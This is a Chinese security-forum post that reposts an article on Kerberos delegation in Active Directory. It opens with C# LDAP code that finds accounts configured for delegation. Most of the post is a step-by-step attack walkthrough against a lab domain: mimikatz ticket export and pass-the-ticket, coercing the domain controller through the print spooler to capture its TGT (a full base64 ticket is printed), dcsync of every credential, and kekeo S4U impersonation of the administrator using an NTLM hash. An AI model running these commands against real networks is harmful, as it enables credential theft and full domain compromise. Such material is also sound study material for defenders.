安全矩阵

 找回密码
 立即注册
搜索
查看: 2330|回复: 0

内网渗透|Kerberos委派以及使用C#写代码进行检测

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-7 17:28:38 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-10-7 17:33 编辑

原文链接:内网渗透|Kerberos委派以及使用C#写代码进行检测

0x00 C#检测委派账户
前文已经写到检测域内dcsync,adminsdholder等后门和一些基本域内信息
  1. public static void Checkdelegation()
  2.         {
  3.             Ldapcoon.LDAP_COON();
  4.             Font.InfoFonts();
  5.             Console.WriteLine("\r\n");
  6.             Console.WriteLine("===========非约束性委派主机===========");
  7.             Font.NormailFonts();
  8.             Ldapcoon.search.Filter = "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
  9.             foreach (SearchResult r in Ldapcoon.search.FindAll())
  10.             {
  11.                 string computers = "";
  12.                 string groupdescription = "";
  13.                 computers = r.Properties["distinguishedName"][0].ToString();
  14.                 Console.WriteLine(computers);
  15.                 //groupdescription = r.Properties["description"][0].ToString();
  16.                 //Console.WriteLine("Description: " + groupdescription + "\r\n");
  17.             }
  18.             Font.InfoFonts();
  19.             Console.WriteLine("\r\n");
  20.             Console.WriteLine("===========非约束性委派用户===========");
  21.             Font.NormailFonts();
  22.             Ldapcoon.search.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
  23.             foreach (SearchResult r in Ldapcoon.search.FindAll())
  24.             {
  25.                 string users = "";
  26.                 string groupdescription = "";
  27.                 users = r.Properties["distinguishedName"][0].ToString();
  28.                 Console.WriteLine(users);
  29.                 //groupdescription = r.Properties["description"][0].ToString();
  30.                 //Console.WriteLine("Description: " + groupdescription + "\r\n");
  31.             }
  32.             Font.InfoFonts();
  33.             Console.WriteLine("\r\n");
  34.             Console.WriteLine("===========约束性委派用户=============");
  35.             Font.NormailFonts();
  36.             Ldapcoon.search.Filter = "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))";
  37.             foreach (SearchResult r in Ldapcoon.search.FindAll())
  38.             {
  39.                 string users = "";
  40.                 string target = "";
  41.                 int user_count = 0;
  42.                 int target_count = 0;
  43.                 int len = 0;
  44.                 user_count = r.Properties["distinguishedName"].Count;
  45.                 target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
  46.                 while (len < user_count)
  47.                 {
  48.                     users = r.Properties["distinguishedName"][len].ToString();
  49.                     Console.WriteLine(users);
  50.                     len++;
  51.                 }
  52.                 len = 0;
  53.                 Font.Warning();
  54.                 Console.WriteLine("\r\ntarget SPN");
  55.                 Font.NormailFonts();
  56.                 while (len < target_count)
  57.                 {
  58.                     target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
  59.                     Console.WriteLine(target);
  60.                     len++;
  61.                 }
  62.             }
  63.             Font.InfoFonts();
  64.             Console.WriteLine("\r\n");
  65.             Console.WriteLine("===========约束性委派主机=============");
  66.             Font.NormailFonts();
  67.             Ldapcoon.search.Filter = "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))";
  68.             foreach (SearchResult r in Ldapcoon.search.FindAll())
  69.             {
  70.                 string users = "";
  71.                 string target = "";
  72.                 int user_count = 0;
  73.                 int target_count = 0;
  74.                 int len = 0;
  75.                 user_count = r.Properties["distinguishedName"].Count;
  76.                 target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
  77.                 while(len < user_count)
  78.                 {
  79.                     users = r.Properties["distinguishedName"][len].ToString();
  80.                     Console.WriteLine(users);
  81.                     len++;
  82.                 }
  83.                 len = 0;
  84.                 Font.Warning();
  85.                 Console.WriteLine("\r\ntarget SPN");
  86.                 Font.NormailFonts();
  87.                 while (len < target_count)
  88.                 {
  89.                     target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
  90.                     Console.WriteLine(target);
  91.                     len++;
  92.                 }
  93.             }
  94.         }
复制代码

因为约束性委派会指定委派的对象可能为多个所以我们先检测他的count然后再遍历输出。

0x01 委派

委派:当用户A基于kerberos验证去请求B服务,B服务使用A的身份去请求服务C。

•域内用户jack以Kerberos方式认证后访问Web服务器;•Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;•KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;•websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;•KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;•websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。
在域内只有服务账号机器账号才具有委派属性。
机器账号就是AD活动目录中 Computers 中的计算机(一个普通域用户默认最多可以创建十个主机账号)。
服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。
当用户被设置为不允许被委派,那么就不能委派。

委派可以分为:
非约束性委派
约束性委派
基于资源的约束委派
0x02 非约束委派操作环境:
域:redteam.local
域控:DC.redteam.local。主机名:DC。ip:192.168.11.16
域管账户:Administrator/test123..
域内机器:MSSQL.redteam。ip:192.168.11.8。普通账户:hack/test123..
前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)
1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。
2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B
3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务
从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。
在非约束行委派中,服务账号可以获取被委派用户的TGT,然后把TGT存储在LSASS进程中,从而服务账号可以使用这个TGT去模拟用户访问任何服务。
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含WORKSTATION_TRUSTED_FOR_DELEGATION。我们设置MSSQL这个机器。


当我们控制了机器账号MSSQL,然后诱导管理员来访问机器,就可以获得管理员的TGT,从而访问任何服务。
2.1 筛选非约束性委派的账号域控主机账户是默认开启非约束性委派
2.1.1 powerview.ps1

  1. Import-Module .\PowerView.ps1

  2. 查询域中配置非约束委派的账户
  3. Get-NetUser -Unconstrained -Domain redteam.local
  4. 查询域中配置非约束委派的主机:
  5. Get-NetComputer -Unconstrained -Domain redteam.local
复制代码

  1. PS C:\Users\Administrator\Desktop> Get-NetComputer -Unconstrained -Domain redteam.local
  2. DC.redteam.local
  3. mssql.redteam.local
  4. PS C:\Users\Administrator\Desktop>
复制代码

2.1.2 ADFind查找域中配置非约束委派的用户:
  1. AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
复制代码


查找域中配置非约束委派的主机:
  1. AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
复制代码
  1. C:\Users\Administrator\Desktop>AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
  2. AdFind V01.56.00cpp Joe Richards (support@joeware.net) April 2021
  3. Using server: DC.redteam.local:389
  4. Directory: Windows Server 2016
  5. dn:CN=DC,OU=Domain Controllers,DC=redteam,DC=local
  6. >cn: DC
  7. >distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=local
  8. dn:CN=MSSQL,CN=Computers,DC=redteam,DC=local
  9. >cn: MSSQL
  10. >distinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local
  11. 2 Objects returned
  12. C:\Users\Administrator\Desktop>
复制代码


2.1.3 ldapsearch
查找域中配置非约束委派的用户:
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
复制代码

查找域中配置非约束委派的主机:
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
复制代码
  1. ┌──(root????kali)-[~]└─# ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=localdistinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local┌──(root????kali)-[~]└─#
复制代码

2.2 非约束性委派攻击

我们在mssql这台机器访问域控。

可以看到是访问是拒绝的。然后我们用域管账户去访问MSSQL
  1. C:\Users\Administrator\Desktop>dir \\MSSQL.redteam.local\c$
复制代码


这个时候在MSSQL这台机器的lsass.exe内存中会存在域管administrator账户的TGT票据。然后在MSSQL机器运行mimikatz。
  1. privilege::debug 导出票据sekurlsa::tickets /export
复制代码



然后再注入票据到内存里面,再访问域控。
导入票据kerberos::ptt xxx.kirbi查看票据kerberos::list


2.3 非约束性委派配合打印机
默认情况下Spooler服务是自动开启的。
使用本地管理员身份运行Rubeus来监听事件id为4624的事件,然后时间设置为1秒,可以截取到域控的TGT。
  1. Rubeus.exe monitor /interval:1 /filteruser:DC$
复制代码


然通过SpoolSample.exe向域控发起请求。
  1. SpoolSample.exe DC MSSQL
复制代码


Rubeus成功接受到了TGT

复制监听到的TGT的base64
  1. doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM
复制代码



再Rubeus导入base64的票据直接注入进内存
  1. Rubeus.exe ptt /ticket:base64
复制代码

可以klist看到票据已经导入成功

然后就可以直接dcsync
  1. lsadump::dcsync /domain:redteam.local /all /csv
复制代码



0x03 约束性委派

操作环境:
域:redteam.local
域控:DC.redteam.local。主机名:DC。ip:192.168.11.16
域管账户:Administrator/test123..
域内机器:MSSQL.redteam。ip:192.168.11.8。普通账户:hack/test123..
前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)
1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A
2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据,
3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。
从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。
在kerberos协议里面存在两个拓展子协议S4u2seflt和S4u2Proxy。服务账号只能获取用户的TGS,这个时候就只能模拟用户访问特定的服务。

当被配置了约束委派的账户的userAccountControl属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。

3.1 筛选约束性委派账号

3.1.1 ldapsearch
查找域中配置约束委派用户:
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
复制代码

查找域中配置约束委派的主机:
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
复制代码

3.1.2 FuckLdap
  1. FuckLdap.exe -d 192.168.11.16 -u hack -p test123.. --Checkdelegation
复制代码



3.2 约束性委派攻击
我们这里设置了MSSQL这个机器用户对DC的cifs服务的委派。
当我们要进行约束委派攻击的前提就是拿到这台启用了约束委派的机器权限。
生成TGT
首先生成TGT
  1. kekeo.exe "tgt::ask /user:MSSQL$ /domain:redteam.local /NTLM:29de42b31e2b7961fda4fbe648d062c9" "exit"
复制代码

获得ST
使用这张TGT通过伪造s4U请求以administrator用户身份请求去访问DC的cifs的ST
  1. kekeo.exe "tgs::s4u /tgt:TGT_MSSQL$@REDTEAM.LOCAL_krbtgt~redteam.local@REDTEAM.LOCAL.kirbi /user:Administrator@redteam.local /service:cifs/DC.redteam.local" "exit"
复制代码

S4U2Self获取到的ST1以及S4U2Proxy获取到的DC CIFS服务的ST2会保存在当前目录下
注入ST2
  1. kerberos::ptt TGS_Administrator@redteam.local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi
复制代码


然后访问域控




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:24 , Processed in 0.014241 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表